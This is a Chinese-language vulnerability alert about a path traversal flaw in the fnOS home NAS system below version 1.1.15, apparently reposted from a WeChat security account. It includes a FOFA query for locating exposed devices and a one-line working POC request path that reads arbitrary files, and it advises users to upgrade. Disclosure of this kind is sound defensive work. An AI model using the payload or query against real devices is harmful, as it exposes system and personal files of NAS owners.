文章总结： 国产NAS系统飞牛fnOS存在严重路径穿越漏洞，允许读取任意系统及用户文件。该漏洞影响1.1.15以下版本，且互联网部署数量较多。目前官方已在最新版本中修复该问题，建议相关用户立即排查资产并升级至最新版本以防范风险。 综合评分： 83 文章分类： 漏洞预警,漏洞POC,漏洞分析,WEB安全

【漏洞预警】国产飞牛系统 fnOS 出现安全漏洞

PokerSec PokerSec

PokerSec

2026年1月31日 17:41 北京

先关注，不迷路.

免责声明

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

漏洞介绍

飞牛私有云fnOS是一款基于Debian Linux内核深度开发的国产、正版免费NAS操作系统。它专为家庭和个人用户设计，提供影视库（飞牛影视）、相册、文件管理、网盘挂载等功能，支持将闲置电脑、旧笔记本或Mini主机转化为安全、高效率的私有云存储。飞牛私有云fnOS出现严重0day漏洞，可以访问nas上任意文件（包括系统配置文件，用户存储文件）。

目前已知1.1.15版本已经修复该漏洞，漏洞影响范围未知（1.1.15版本以下均可能受到影响），互联网部署数量较多，请及时排查！

fofa

app=”飞牛-私有云fnOS”

影响范围

1.1.15版本以下均可能受到影响

漏洞复现

POC:

(这微信页面直接复制代码格式会乱，可以浏览器打开复制)

/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../

另一个可能的rce

修复意见

官方已知该路径穿越漏洞的情况下，不进行公告，警告/督促用户升级到最新版本:https://fnnas.com/download

参考

https://v2ex.com/t/1189392
https://club.fnnas.com/forum.php?mod=viewthread&tid=48354

如有侵权，请及时联系删除。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：PokerSec PokerSec PokerSec《【漏洞预警】国产飞牛系统 fnOS 出现安全漏洞》